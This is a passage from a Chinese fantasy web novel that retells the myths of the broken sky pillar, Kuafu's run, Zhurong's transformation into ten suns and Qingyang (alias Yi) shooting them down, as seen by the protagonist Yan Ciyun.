之前，颜辞云光知晓这位青阳长袖善舞，很擅长与人打交道，这才被大启朝的皇帝赐给了她当侍从。 可颜辞云万万不知道，这位青阳脑子竟能灵活到这等地步，被她派往神之部族边境的凡人城镇没多久，就成功搞到了火之部族的客卿位置，以凡人之身成了神族的座上宾！ 当然，这里头与颜辞云赠与青阳保命的无踪飞花针绝对脱不了关系，也与青阳那张讨人喜欢的小白脸脱不了关系。 总而言之，当共工和颛顼骤然爆发大战，往死里互掐时，青阳恰好与火之部族的族长娥，正登高望远，互诉衷肠，而没想这一望，便恰好瞧见了水之部族的神灵共工，一头撞倒了天柱！ 青阳看得目瞪口呆，再回想自己当初被派来神之部族这边前，曾信誓旦旦说“如果没有特殊契机，共工与颛顼应该不会爆发大战”的话，不由得一拍大腿： 坏了！ 真出事了！ 待到青阳终于从那天崩地裂的骇人景象中回过神后，他立即拿出水怪之触，颤巍巍地想要联系上颜辞云。 但很遗憾，当时的颜辞云已经将主意识切出了这方小世界，去往了迷雾的九星矩阵里寻找五色石去了，因此并没有立即回复他。 反倒是手持第三只水怪之触的元德被青阳提醒，吓了一跳后，提出了一个问题： 天，分明还好好的啊。 怎么就塌了？ 哪里塌了？ 元德并不知他身处的凡人城镇以及他负责监视的“混沌金莲”，其实只是一场以假乱真的幻觉。 而那时候的青阳同样不知道，这场天柱倾塌的祸患，是将会波及整个小世界的可怖天灾。 因此，两人各自带着各自的震惊一对信息后，迅速做下了一个决定： 全力帮助神之部族边境那些无力抵御天灾的凡人们——最主要的是帮助大启朝边境的子民，迁入元德附近的城镇以避祸。 那时候，站在青阳身旁的娥全程目睹了两人的讨论。她感于自己养的阿猫阿狗竟然还有这般大爱与仁义，便应允青阳，会派出火之部族的部分成员，去帮助凡人们进行迁徙。 而至于娥本人，则需要对自己的部族负责，去做属于火之部族族长该做的事了： 即，禀告祝融，探查天柱。 但，或许是这段日子的水到渠成，又或许青阳在危急关头时表现出的勇与义彻底打动了火之部族的这位族长。 娥向青阳承诺，倘若这番灾祸过后，两人还能再度相遇、再续前缘，那么娥也愿意与青阳结下凡人间夫妻的契约，陪伴他渡过人生百年。 青阳感动万分，万万没想到作为神的后裔，娥竟然愿意与他结下百年之契，冲动之下，便向娥坦白道：“其实‘羿’并非我的真名，我的真名实则是‘阳’。娥，如果日后我们还能再见，你能叫我一声‘阳’吗？” 娥沉默片刻，缓缓蹙眉：“为什么你要用假名？” 青阳：“……” 坏了。 而这，就是共工撞倒天柱后第一个时辰内发生的事。 在共工撞倒天柱的第二个时辰里，娥来到火山深处，向火神祝融禀告了共工撞倒天柱的事。 娥本以为这是个小问题，毕竟对神之部族的族人们而言，他们供奉的神灵都是至高无上的，有着通天彻地之能。 所以，那水之部族的共工，既然有撞倒天柱之狂力，那他们火之部族的祝融，则必然有着补好天柱的威能！ 但娥没想到的是，祝融听到这个消息后，一拍大腿，怒骂出声：“共工那蠢材，怎能闯下如此弥天大祸？！” 娥听着祝融的这番怒骂，心中咯噔一声，立时明白此次的事件非同寻常，恐怕不能再像过去那样善了。 而恰好，跑得最快的夸，此刻已经从倾塌的天柱那边打了个来回，在火山前向火神祝融和火之部族的族长娥禀明情况。 原来，一个时辰前，当共工与颛顼大打出手后怒而撞断天柱时，无尽洪水从天上裂开的那道口子倾倒而下，而在这场灾祸中，首当其冲的，便是离天柱最近的水之部族！ 当夸从火之部族赶到水之部族时，一眼望去，只见到曾经安居乐业的部族化作一片汪洋，而那些水之部族的族人，则在汹涌的洪水中不知所踪。 面对夸此刻的恻然神态，娥低声安慰道：“水之部族的族人向来擅水，哪怕是面对天洪，也不一定没有自保之力。往好处想想，既然你没有瞧见水之部族的尸体，那他们就不一定是死了，或是乘此天洪逃离了灾祸，也不无可能。” 见夸的脸色缓和了几分，火神祝融说道：“眼下当务之急，还是找到补天之法。” 娥：“祝融大人……” 祝融：“且听我说，娥，我接下来要去做的事，恐怕难以顾及部族里的这些人，所以我将他们交给你，你务必要尽快带他们离开族地，去一个安全的地方——至少是相对安全的地方，离天柱越远越好，直到我再来寻找你们，或是再不来寻找你们。娥，你能做到吗？” 祝融的这一番话，并不如凡人的揣测那样，带着上位者对下位者的威严震慑，而是如一个长辈对着他最喜欢的小辈那样殷殷嘱托，甚至有临终托付之意。 娥听出祝融这番话语中暗藏的意味，脸色一变再变，动作却没有半点迟疑，伏身在地，而后抬头看祝融，坚毅道：“阿父放心去吧，娥虽然没有阿兄共工之神力，却也绝不会如阿兄那样闯下大祸，撇下自己的部族。 “阿父，我发誓，只要我还活着一天，我必将守护我们火之部族，令我们火之部族的血脉代代流传！” 说完，娥向祝融叩首作别后，立即起身，一边让夸赶紧追上青阳一行人的步伐，探明那处“没有被天塌之祸影响的城镇”的所在，一边督促火之部族的族人收拾行装，准备迁徙。 夸的脚程真的很快。 因此，还没等一个时辰前就离开的青阳抵达元德所在的城镇，夸就追上了青阳。 青阳：“是夸？你这是——” 夸：“没时间了，快跟我来！” 夸一把把青阳夹在腋下，狂奔而去。 被夸抢了人的火之部族的护卫们不由傻眼。 “夸这是怎么了……” “谁知道他，快，我们快些追上去，否则回头娥知道她看中的人被抢了，还不得狠狠教训我们一顿！” 于是，数名身型或大或小的巨人，就这样在大地上狂奔起来。 “夸，快放下羿！你快要把他给颠死了！” “夸，那可是娥的人类，你莫要乱来！” 夸没有理会身后的呼唤，带着摸不着头脑的青阳一路狂奔到元德所在的城镇。 好消息是，这里的天，似乎真的完好无损。 当夸和火之部族其他一众巨人站在山丘上仰望天空时，他们没有再见到天上那条可怕的裂隙，也没有再听到天洪仿佛无处不在的轰隆震响。 这个城镇，仿佛是一处独立世外的桃源之地，无论外界如何纷纷扰扰，乃至于天崩地裂，都无法干涉和影响到这里的安详宁静。 夸见此情景，不由心中大喜，在周遭转了一圈，确定这里能够容纳下火之部族的族人们后，把青阳往地上一放，二话不说，又掉头往回跑，去向火之部族的娥禀告去了。 青阳晕乎乎地站在地上，一边抬手应付娥拨给他的火之部族的护卫们的关切，一边为夸的行为解释起来，告知这些护卫火之部族很快也会搬迁到这里的事。 说完这些后，青阳又向火之部族的这些巨人们嘱托起来，告诉他们这片“桃源”的势力分布——比如说那些割据山野的大妖恶鬼，比如说那些呼风唤雨的天帝仙尊，等，好让这些性格烂漫纯白的巨人们有身在矮檐下的自觉，别动不动就搬来一座山丢着玩。 这里的山都是有主的！ 巨人们被青阳的这番嘱托说得云里雾里，满脸茫然。 最后，一个巨人护卫忍不住了，开口问道：“奕，你到底在说什么？什么妖族？什么仙帝？什么仙尊？这世上除了我们神之部族供奉的神灵之外，哪里还有其他的仙神？” 青阳无奈叹息，本想要开口告诉这巨人天有多高，地有多厚，告诉他们这世上除了神之一族之外，其实还存在着许多其他来历的仙神，甚至就连那传说中的龙凤，也都是真实存在的！ 可冷不丁的，在开口前，青阳想到了什么，愣住了。 青阳想到的是：如果说神之部族的这些巨人们不知道海外龙凤二族的存在，还能说是因为他们的距离太过遥远，不知道对方的存在……可元德所在的这座城镇，离神之部族的所在之地分明不远啊！ 瞧，对于脚程快的夸来说，他甚至可以一个时辰来回两趟！ 既然如此，为何城里的凡人也好妖魔也好，都从来没有听说过神之部族，而城外的巨人们也从未听过占山为王的妖族和执掌天庭的仙尊？ 这合理吗？ 不合理，当然不合理！ 可…… 究竟是哪儿出了错？！ 青阳想不通。 他真的想不明白！ 但他可以确定的是——不能让火之部族搬进来！ 这个地方，很不对劲！ “快……快追上夸！”头晕目眩间，青阳用力拽住了身侧一个巨人的手臂，心急如焚道，“告诉夸，让他转告娥，千万不要把火之部族的大家带过来……这里有问题！这个地方绝对有问题！” 听到青阳的警告，火之部族的巨人们神色微沉，点头迈腿，就想要去追上夸。 可当他们抬头时，前方的旷野上空荡荡的，又哪里还能看到夸的影子呢？ 而此刻，离天塌后才不过过去了两个时辰。 第149章 补天小妙招 这世界，越修…… 在天塌后的第三个时辰里，发生了许许多多的事。 比如说，火之部族的夸在确定“不受天灾影响的桃源之地”是真实存在的之后，连一句多余的话都没有同青阳说，掉头就跑回了火之部族向族长娥禀告去了，因此，夸自然也不知道他身后还有两个追他追到喘不过气的护卫。 比如说，火之部族的娥在收到夸的消息后，率领部族，举族迁徙，并且向夸嘱托，让他尽快联系和警示其他部族，劝告他们也尽快离开这片土地。 夸有些犹豫，有些试探：“可他们就算离开这里，又能躲去什么地方？” 娥笑了笑，宽容了夸的这番试探的小心思，说道：“如果他们愿意，就让他们也跟上我们吧，但每个部族的命运，都只能由他们自己负责，我只不过是为大家指出了一条路罢了。” 夸大喜过望，向娥一拜，便向土之部族的方向跑去了。 娥知道夸为什么会这样，因为土之部族正是夸父亲所在的部落，虽然二者的感情并不算多么深厚，可让夸就这样在天灾面前独善其身、眼睁睁看着他父亲随着土之部族而消亡，那也是很难做到的。 之后，在安排好火之部族的族人，也派人提醒了其他的各个部族后，无愧于心的娥便率领自己的部族，让年轻族人背着老弱者，再让老弱者拿上大家简单的行李，向着夸回报的方向快速迁徙。 可火之部族的人才走到一半，就撞上了追着夸而来的护卫们，并从他们口中听到一个晴天霹雳： 那方刚刚还找到的世外桃源，很可能并不是什么“桃源”，而是一处有着极大问题的险地！ 娥听着这些护卫的话，蓦然怔愣，回身望着自己身后那些带着惶恐、茫然、期冀和希望瞧着她的族人，又想到此刻已经不知道跑到什么地方的夸，心中一片冰凉。 ——事情变得越来越坏了。 事情开始向着无法挽回的地步发展了！ 就像是从垒满岩石的高地里抽走一块石头。 在抽掉这块石头前，没有人觉得这块石头有多么重要，但在抽掉这块看似平常的石头后，那原本安静的石山却蓦地化作了可怕的灾难，咆哮着向山下的人倾泻它的怒火。 ——怎么办？！ 娥站在高处，回身望向天的尽头。 在那里，巨大而漆黑的裂口后，不知从何而来的无尽洪水滚滚而下。 娥毅然说道：“走！” 护卫犹豫道：“可是弈说……” 娥摇了摇头：“我们已经没有退路了。” 哪怕不是去那处桃源，也会是去往更远的地方。 凡人也好，神之后裔也好……他们已经没有退路了。 · 这是夸一生中速度最快、持续时间最长的奔跑。 夸是火之部族里最擅长奔跑的人，甚至是所有神之后裔里最擅长奔跑的人，他年幼时曾经为此引以为豪，就连他的阿母也曾温柔抱着他、告诉他以后一定会成为一个了不起的人物。 可后来夸却发现，仅仅只是“跑得快”，其实时没有什么用处的。 当神之部族的野心家们重提“天帝”之位，并为此打得头破血流时，仅仅只是“跑得快”的他没办法替阿母上战场，也没办法把阿母从那山崩地裂的战场上救回来。 当心灰意冷的阿父离开与阿母的家，要回去土之部族时，仅仅只会“跑得快”的夸，也不知道该如何挽留阿父，更没办法毫无芥蒂地跟阿父去往遥远的土之部族。 甚至当身边熟悉的友人一个接一个地跟夸告别时，夸都不知道自己该说些什么，该摆出什么样的表情，该做些什么事……因为他什么都做不了。 所以，他其实是个没用的人，对吗？ 当年阿母对他说的那些话，那些令年幼的他心驰神往的未来，其实都只是一个母亲对孩子的安慰，对吗？ 夸慢慢明白了这件事，也慢慢接受了这件事。 但就在他彻底以为自己的人生或将一无是处、或许一眼就能望得到终点时，他的生命突然出现了拐点。 而在这个拐点之后，等待着他的会是什么？ 他不知道。 他只是一遍遍告诉自己：跑得快一点，再快一点。 直到抵达那个光辉灿烂的未来！ 于是，就这样，夸一路奔跑了过去。 他先去了土之部族，告知了土之部族族长那处桃源的位置。 之后，夸并没有在土之部族多停留哪怕片刻，也没有去见他许久未见的阿父，而是脚下不停地向下一个部族跑去了。 天之部族、山之部族、树之部族、鸟之部族……等等等等。 那些大大小小的部族，夸想要将它们全都跑个遍。 可是，夸终究不是真正的神灵。 哪怕他们向来以“神的后裔”自居，甚至划出了一条神人界限，傲慢地将凡人拒之门外……但他们离真正的神灵依然十分遥远。 因此，当夸来到第六个部落时，他开始有些气喘。 于是这个部族的族长赠与了他一只蟠桃。 当夸来到第九个部落时，他汗如雨下，手指都已经开始微微颤抖起来。 于是这个部落的族长赠与了他一根手杖。 当夸来到第十一个部落时，他知道，自己已经抵达了极限。 他再也没办法跑下去了。 但偏偏，这个部族的实力并不强，甚至是极弱的，弱到与凡人都几乎没有区别。 因此，这个部族的神裔们看着倒下的夸，手足无措，几乎要抱头痛哭起来。 这个部族的族长哭着说道：“您的善良和好意，我们已经知晓了，可如今事已至此，我们已经没有办法逃离了，就连您倒在这里，我们都没办法为您提供任何帮助，您这样费心费力地来通知我们，又是何苦呢？” 夸看着这几乎与凡人无二的神裔，摇头，说：“我也曾与你们一样，以为我这一生一无是处，可后来我才知道，只要我们还活着，就总有能够帮到他人的一天。你瞧，我这不是就来帮助你们了么？” 夸说着，用他最后的一分力气，掷出手杖。 那手杖落地便化作一片巨大桃林。 夸指着桃林的尽头，说：“向着那边跑吧，向着太阳的方向逃走，而这片桃林会为你们暂时抵御天洪。要记住，只要活着，就能有帮助到旁人的时候，而只要能帮助哪怕一个人，我们便再也不是无用无能之辈。” 夸说完后，身体便彻底倒下。他的灵魂上升，如火焰一般向着太阳的方向升去，他的身躯则化作腐土，令这片桃林长得越发茂密。 这个部族的神裔们见此，痛哭失声，向夸的方向拜了三拜。 他们说：“倘若我们真的能从这场天灾中活下，从此以后，您便是我们的父，我们的部族，就叫夸父部族。” 说完，他们相互搀扶着，艰难地向桃林深处而去。 他们不知道孱弱的自己是否真的能在这场天灾中活下去，甚至不知道这样的他们是否值得一位真正的神裔为此付出性命。 但或许真的像夸说的那样吧，只要能够活下去，只要用这条被帮助过的性命去帮助其他人哪怕仅有一个，他们的生命，就是有意义的。 天塌后的第四个时辰。 颜辞云终于将注意力转回了这个世界，并带来了补天亟需的材料，五色石。 颜辞云站在天的裂口下，但天的裂口下却不仅仅只站了颜辞云，还陆续站了句芒、祝融、蓐收、玄冥、后土这五位五行神，以及神之部族里大大小小被供奉的神。 只不过因天的裂口太大，而聚拢在这里的神灵又太多，这些神才没注意到颜辞云这个格格不入的黑户、外来者。 因此，当收集完五色石重回这方小世界的颜辞云，掏出系统9122开始询问用五色石补天的流程时，那一边，以五行神为首的各个小神，也同样琢磨着补天的事。 而不知道他们究竟是什么思路。 颜辞云隐约听了一耳朵，只听到口中喊着“不破不立”的人和口中喊着“因地制宜”、“因时导利”的人吵了起来。 最后，也不知道这些小神讨论出了什么结果。 当颜辞云察觉到周遭混乱的炁的波动，抬眼望去时，只见大部分神都摘下了自己肢体的一部分，交给了火神祝融。 颜辞云看着这些断手断脚甚至断头，被骇了一跳，差点以为这些神被吓到失心疯了。 但很快的，颜辞云反应过来，对神来说，肢体只是由“炁”凝聚的外形而已。 炁不散则神不散。 只要花点时间，把断肢修回来是轻而易举的事，跟脆弱的人类不可同日而语。 所以，颜辞云眼前这令她头皮发麻的一幕的真相，其实是这些神取出了自己体内的一部分炁，交给了火神祝融。 颜辞云看着，摸了摸下巴：所以，这是要做什么？ 补天这事儿，没有五色石作为材料，难道纯靠炁也能补上的么？ 在颜辞云的好奇注视下，火神祝融郑重地接过了众神的炁，一个接一个地吞进肚子里。 这无疑是相当可怕的一幕。 但祝融的神色却非常肃穆，而周遭的神灵望向火神祝融的目光，也不是愤怒或怨憎，而是一种不得不目送老友生离死别的悲痛。 颜辞云目光扫视这群神，心中越发狐疑：等等，这到底是在干吗？！ 在众神眼睁睁的注视下，火神吞下的“肢体”越来越多，他体内的火炁也越发高涨，以致于连形态都开始不再稳定，越来越难以维持人形。 可就算这样，他依然在吃。 颜辞云皱眉看着，在心中估量着火神祝融体内的炁。 百分之两百，百分之三百，百分之五百！ 终于—— 轰！ 随着一声剧烈的大爆炸，火神祝融彻底失去人形，化作九颗如太阳耀眼的巨大火球，一头冲进那天上的裂隙中！ 颜辞云一愣：“……不会吧？” 这些神，该不会是以为用火焰就能把天外的洪水烤干吧？！ ——事实上，这些本地神还真是这样想的！ 他们认为，想要阻止这场可怕的天灾，必须要先阻止这场从天而降的洪水，之后，在没有洪水的不断冲刷和干扰下，他们才能有机会去修补天的缺口，令一切重回正轨。 当然，他们也可以选择在天上撕开更多的缺口，将这场洪水分流，然后同时修补无数的小缺口。 想来无数的小缺口，必然比一个超长的大缺口更好修复。 但这样的提议未免太过丧心病狂，等他们按这样的计划补好天后，恐怕地上都没有哪怕一个活物了！ 所以，这些神在经过激烈的讨论后，做出了最终决定： 让在场的每一位神都献出自己的一部分炁，助火神祝融登顶，化身太阳，进入界外，拦住天洪。 而他们，则乘此时机，将天的缺口彻底补上。 在这样的一个计划里，火神祝融无疑是必死的。 但他们已经想不出更好的办法了，更何况，撞塌天柱的本就是共工，是火神祝融那不成器的儿子。 儿子欠下的债，老子来偿。 如今，儿子共工不知所踪，那老子祝融站出来补天，难道不是应有之理么？！ 因此，所有神都默认了这件事。 他们用叹息的、悲痛的、无可奈何的、甚至是恨铁不成钢的目光，注视着祝融的残躯飞向天外。 紧接着，天洪以肉眼可见的速度变小了。 仿佛那些飞向天外的火焰残躯，真的将这场浩浩汤汤的天洪阻拦在了天外。 但，还没等众神开心起来，下一秒，那九颗由祝融残躯化作的巨大火球，竟然被界外的某种东西如吐西瓜籽一样吐了回来。 ——呸！ 巨大的火球连滚带爬地从原路退回，蔫蔫挂在天上，不动了。 可天上的那道缺口，和来自界外的天洪，却越发大了。 于是，此刻是—— 天塌地陷，洪水汤汤。 偏又十日高悬，炙烤大地。 众神目瞪口呆，面面相觑：坏了。 这世界，越修越烂了。 第150章 射日（一） 为了他期待的…… 烂归烂，惨归惨。 但这天，该补还是要补的。 于是，立于天上的众神，愁眉苦脸地琢磨起了新的补天法子。 而至于天上多出地九颗“太阳”，和当前十日凌空的异象？ 唉，如今的他们哪里还有工夫管这个！ 可是，天上众神可以不管的东西，地上的生灵却不能不管。 飞莱城内，青阳在与元德会合后，正说着这座城市的种种异状。 比如说外头的天都破了，这边的仙人也好凡人也罢，竟都是一派的歌舞升平。 又比如说在这座飞莱城内，人们只听过仙人与妖魔，却从没听过神之一族。 这桩桩件件，显然都是异常！ 元德听罢，也深以为然。他知道青阳脑瓜更灵敏些，因此便把自己这段时间的听闻也说给青阳听，看能不能以此得出些更深层次的消息。 而就在二人说着说着的时候，青阳擦了一把额上渗出的汗，随口说道：“元德，你这飞莱城可真热啊！如今明明都快深秋了，你这儿竟还如酷暑一般……元德，你平日里都是怎么熬过去的？” 只是短短片刻的谈话，元德这边也同样是汗如泉涌。 他擦了一把脸上的热汗，端起茶一饮而尽，脸上也是同样纳闷神色：“怪哉，平日里这飞莱城也没这般热啊！若这飞莱城天天都是这般热，我等不过凡人之躯，如何能待得下去？” 说着，元德来到窗边，想要瞧瞧外头有何变化。 然而元德刚走到日光下，手指还未探出房屋的阴影，剧烈的灼烧感就从指尖传来，立即就将元德的手指燎出了一个水泡！ “嘶——！” 元德震惊缩回手，反复查看自己手上的燎泡。 没错，没错——真的是燎泡！ 他竟然被日光烫伤了？ 而且是在一瞬间内发生的？！ 正当元德震撼不能自已时，一旁的青阳也发出了惊叫。 “奇怪，哪儿来的焦味？元德，你宅子里可是在烧什么……不、不对，不好！走水了！元德，快走，你这屋子走水了！！” 元德骇然回头，却见方才还好好的屋子不知什么时候冒出了浓烟，紧接着，火焰呼啦一下点燃。 前一秒还只是一簇小小的火焰，好像只要一盏茶水就能泼灭，而下一秒，它就暴涨成了可怕的巨人，向还在屋内的元德青阳二人张开深渊巨口！ “快走，快走！” 都说水火无情，可它们的无情之处，不仅在于它们对生命的漠视，更在于它们一发而不可收拾的威势！ 青阳在这火场中半点不敢耽搁，一把拽住有些怔神的元德，连推带搡地将他扯出门去。 元德在即将被推出门的时候，也回过神来，反手拉住青阳，神色急切：“不对！不能出去！你看——” 情况紧急，元德来不及惜身，当着青阳的面将手伸到阳光下。 而下一秒，在元德痛苦的大叫和青阳骇然的注视下，元德置于日光下的手竟以肉眼可见的速度发红发烫、发皱发烂！ 哪怕元德已经以最快的速度缩回手了，可他的手上却依然散发出一种令人头皮发麻作呕的肉味。 只是一瞬间，青阳便明白了元德意思，脸色也变得越发难看起来。 前方是要人性命的日光，后方是吞吐无情的火场……他们此刻，该如何是好？！ 有困难，找大腿。 元德二话不说，拿出了水怪之触，就开始摇人。 青阳皱眉道：“刚刚我试过了，神女大人没有回应，想来是——呃啊？” 青阳话未说完，下一秒，颜辞云就出现在了他们面前，一手一个，直接将他们提出火场，站在了云上。 青阳想到几个时辰前怎么呼叫大腿都没反应的自己，无语凝噎。 就针对他呗？ 但下一秒，青阳回神，连忙向颜辞云示警：“不好，神女大人，那太阳——” “无妨。” 在青阳和元德二人眼里，颜辞云是出现在火场的瞬间，就把他们两人带走了。 但事实上，颜辞云降落在两人身旁后，是停留了一段时间的。 而在这段时间里，颜辞云把火灵珠丢在脚边，控制住火场的范围和温度，一边开着【改造】能力，给这两人来了个一键换肤，把两人只比凡人稍有韧性的皮肤，换成了扶桑木的树皮。 至于说颜辞云为什么不直接将火灭掉，而只是控制住？ 因为，没有意义。 在十日凌空之下，大地上的一切都会焚烧起来。 无论颜辞云将火焰熄灭多少次，它都会再次燃起，直到烧无可烧。 既然如此，还不如用最少的力气做最合适的事。 比如说—— 摈弃第一次捏人时用蜘蛛女王的蛛丝替代皮肤的方案，转而使用更有针对性的、有极强的火焰抗性的扶桑木树皮！ 这是颜辞云的一次全新尝试。 因为树皮和人皮虽然都有“皮”字，却是完全不同的两种东西。 在真正动手前，就连颜辞云自己都不知道这个异想天开的念头究竟能不能成功。 但成果则非常喜人。 从这两人被颜辞云提到天上都没发现他们的皮肤被换了个彻底，就能看出颜辞云的捏人技术有多么精湛！ 而锦衣夜行，总是寂寞的。 于是颜辞云提醒道：“摸摸你们的皮肤，你们现在已经不怕火焰了。” 青阳元德二人先是愕然，而后惊疑不定地摸自己的手臂。 没有什么异常感觉。 他们的皮肤有点粗糙，像是皲裂了。 但这很正常，现在的人都活得这么糙。 倒是元德，他惊喜发现自己刚刚还被日光烧伤的手臂已经恢复如初，并且也是他比青阳更先一步发现，现在的他真的不再惧怕日光了！ “多谢神女大人！”元德感激涕零。 青阳也连忙跟上：“多谢神女大人！” “不必谢我。”颜辞云微微摇头，“我宁可你们莫要谢我，也好过你们对我抱有期待后，再怨恨于我。” 元德一惊，脱口而出道：“神女大人这是什么话？我们怎么可能这般不知好歹，在受了你的恩后却还怨恨于你？” 倒是脑瓜好使的青阳心中咯噔一下，琢磨出了一些颜辞云的言外之意。 而果然，下一刻，颜辞云便微微摇头，指着天边说：“你们且看那边。” 两人顺着颜辞云所指的方向，抬眼望去，悚然一惊，脸色血色尽褪，终于明白这天气为何会热得这样离谱，也明白了他们二人为何分明好好坐在屋内，那屋子却突然着了火！ 元德一个晃神后，突然察觉不对：“等等，我方才在屋子里的时候，分明瞧见着火的只有我的房子——” 倘若真是十日凌空，为何整个飞莱城只有他的屋子着了火？ 颜辞云轻叹：“那你便再看看你脚下吧。” 元德和青阳先后低头，看向脚下的飞莱城，倒吸了口气，脸色再变。 只见在他们的注视下、从云端往下瞧去，那歌舞升平的飞莱城，哪里是什么城池？ 那分明就是一个漂浮在虚空和泡沫中的世界，一场逼真到只有站在遥远的云端才能发现的海市蜃楼！ “竟然、竟然全都是……假的？！” 元德不可置信，喃喃自语。 他怎么都想不到，自己待了这么久的飞莱城，竟然是假的——那个五彩缤纷的城镇，声色犬马的场所，活灵活现的人物，以及发生在那个城镇里有迹可循且自成逻辑的一切，竟统统都是虚假！ 而他直到最后，竟都没有察觉半点端倪，发现这份虚假！ 一旁，青阳倒没有像元德这样备受打击，反倒是恍然大悟： 难怪这个飞莱城里的一切都与外头的世界这么割裂，原来这个世界本就是假的啊！ 但很快，青阳就想到了另一件事：糟了！大启朝！还有火之部族！ 他们怎么办？！ 如今他与元德二人，是靠着神女大人的庇佑，这才在天塌地陷、十日凌空的世界里活下来。 可火之部族呢？ 他们又能逃到哪里去？ 更甚至是大启朝的凡人们——火之部族好歹是神裔，无论是面对大洪水还是十日凌空的可怕温度，想来都能撑一段时间——可大启朝的那些凡人们怎么办？ 大启朝外那些人与生灵们，又怎么办？！ 这一刻，青阳近乎惶恐地看向颜辞云。 并且，也正是在青阳看向颜辞云的那一瞬间，他明白了颜辞云片刻前那段话语的真正涵义。 不必感谢她，因为她并没有做任何事。 所以，也不要因为她没有做任何事而怨恨她。 可是，在生死的大恐怖前，谁能不恐惧？谁能不动摇？ 如果你明知有一个人从一开始就可以拯救这个糟糕透了的世界，可以挽回一切的恐怖、分离、悲剧、痛苦、死亡……她明明可以将这一切都消弭于萌芽，让你不必跌落泥泞，不必遭受惊惧，可她偏偏就是什么都没有做。 在这样的情况下，要什么样的人、什么样的心性，才能毫不动摇、毫不期待、毫不怨恨？ 青阳不知道。 他不能确定自己真的能够不期待、不失望、不怨恨。 所以在目光触及颜辞云面容的下一瞬间，他就强行移开视线，定定看着天边挂着的十颗巨大火球，强行将自己所有的思绪抹去，只允许一个念头留存： “我该做点什么。” 他……该做点什么。 为了这个世界。 为了他爱的人。 为了他期待的未来。 可是……他又能做什么呢？ 青阳下意识握住了自己身上的某样东西。 而直到他握住后，他才发现那是什么—— 一张弓。 一张在与娥分别前，由娥赠给他、代表着两人情谊和约定的弓！ 而很快的，青阳想到什么，摸了摸箭囊，摸到了第二样东西—— 一把箭。 是由神女赠予他的【无踪飞花针】！ 对颜辞云的本体来说，【无踪飞花针】就只是小小的针而已，是一把错眼就找不到在哪儿的小玩具。 可对常人体型的青阳来说，那毫无疑问是箭、是刺、是矛，但总之不会是针。 当元德请求颜辞云将赠予他的武器变作常人的大小后，青阳却请求颜辞云教会了他怎么控制无踪飞花针的大小，之后，青阳将它变成了箭的模样，用它赢得了火之部族的比武，也赢得了娥的心。 而如今，那一把神奇的“针”——又或者是“箭”——正静静躺在他的箭囊中。 青阳沉默了一瞬，低声说道：“神女大人，我不敢恳请你更多……但你曾赠予我的【无踪飞花针】……” 颜辞云看了青阳背上的弓一眼，说：“既然送给了你，它就是你的了。” 青阳涩声道：“多谢……神女大人，接下来……请把我放下去吧。” 元德此刻终于回神。 他惊愕看着青阳，说：“青阳，你这是何意？你要去哪儿？你不同我们回大启了么？！” 此刻，元德心中最为记挂的，是大启朝的百姓们，是他还留在王城的亲人们，以及他效忠的那位帝王。 可对青阳来说，事情却并非如此。 青阳平静说：“我不回大启了。” 元德：“那你要去哪儿？！” 青阳：“约莫是——去往我的命运吧。” 150-153 第151章 射日（二） 人类的个人伟…… 颜辞云看着青阳——这个曾在火之部落化名为羿的人，向着他的命运奔赴而去。 颜辞云其实已经不止一次见过这样的背影了。 这种如同受到有生以来仅有一次的使命与感召的背影。 这一刻，颜辞云突然发现，每当世界面临崩塌和倾毁的时刻，这样的人与这样的背影就会格外多。 但，颜辞云却一次也没有跟上去过。 这里面的缘由很复杂，这里暂且不提。 总之，当颜辞云将元德送回他心心念念的大启后，她回想着系统9122告诉她的补天方法，琢磨着要不要跟元德说这件事。 毕竟经颜辞云的动手改造后，原本只是凡人的元德，也有了去补天的“入场券”。 所以……该不该是元德呢？ 颜辞云这样思考着。 但，还没等颜辞云开口，元德便露出惊骇神色，指向天空： “那、那是什么？！” 颜辞云闻言，心有所感，回身望去。 只见此刻，那片赤红如地狱一般的天空，骤然有一道白虹贯日！ 它如同一支利箭——不，它本就是一支利箭，自下而上，从大地射向天空，射向太阳！ 于是，下一秒，那十日凌空的残酷景象中，有一颗太阳被这样的利刃贯穿。 它发出了尖锐的嘶鸣，竟如同鸟兽的濒死哀嚎一般。 随后，它轰然坠落，在空中一点点散去神光，最后化作一颗陨星，急速坠落在遥远的大地上。 轰隆隆！！ 不可思议的巨响，从极远的地方传来。 明明隔着这样遥远的距离，却清清楚楚传到了大地上每一个生灵的耳畔。 颜辞云明白，这是因为这声巨响，并非寻常意义上的“声音”，而是神灵陨落时，由世界敲响为其的丧钟。 并且，这样的丧钟也并非仅有这一声。 轰隆隆！！ 果然，没过多久。 几乎只是一个眨眼的时间，第二颗“太阳”也陨落了。 同样的神光散尽，同样由世界为其敲响的悲鸣。 当大地上芸芸众生茫然仰望天空，为自己都不知道的理由潸然落泪时，唯有颜辞云的眼睛穿过了遥远的大地，看到了海地交接之处上，那位青阳弯弓射日的背影。 同时，颜辞云也看到了他青筋贲起隐隐发颤的手臂。 颜辞云明白这样的状态代表着什么。 青阳说到底，还是一个人类。 虽然这个人类经过了颜辞云的改造，有了接近神裔的力量，甚至能够使用神裔的武器，甚至于做出射下太阳的伟业来。 但人类就是人类。 人类的个人伟力，必然不可能持久。 所以，这样的青阳，到底会不会像颜辞云听过的传说那样，连续射下九颗太阳，成为人类的英雄呢。 颜辞云对这件事着实有些好奇。 不过好奇归好奇，当务之急还是补天人选。 按照系统9122所说，这个天，也不是谁都能补的。 五色石虽是补天环节中必不可缺的材料，但真正重要的，还是那个去补天的人。 因为这个人，不仅仅得够强壮，能够承受起补天时界外罡风的吹拂，和天洪的冲击。 更重要的是，这个人得与这片土地、这方世界有足够深的联系。 颜辞云第一念头：哦，这样啊，我就知道这天不该我来补。 颜辞云第二想法：坏了，这样一说，这方世界的本土“神灵”——那群按理来说最适合去补天的神，岂不是也补不了天？ 就像是人终究是人，与神有着跨越不了的界限一样。 神也终究是神，与生于大地长于泥土、和这个世界有着密不可分的联系的人类是不一样的。 他们当了太久太久的神，与无数生灵与整个世界都已经割裂开来了。 换个说法就是，这些神高高在上，脱产太久，跟这方世界其实没什么联系了。 这地儿有他们没他们都一样，身份认证已过期。 颜辞云心中忧愁：那……该谁去补天？ 地上的凡人们倒是基本都有这个资格。 可他们的身体完全受不起天外罡风的吹拂。 所以……难道只能让这个元德去了么？ 还是说，自己要在人群中征召一个志愿者，把对方的身体深度改造后，再让对方去补天？ 颜辞云总觉得这事儿不太对。 这边，颜辞云还在为了补天这件事犹豫踌躇，总觉得自己有什么地方忽视了。 而青阳那边，事情却发展飞快。 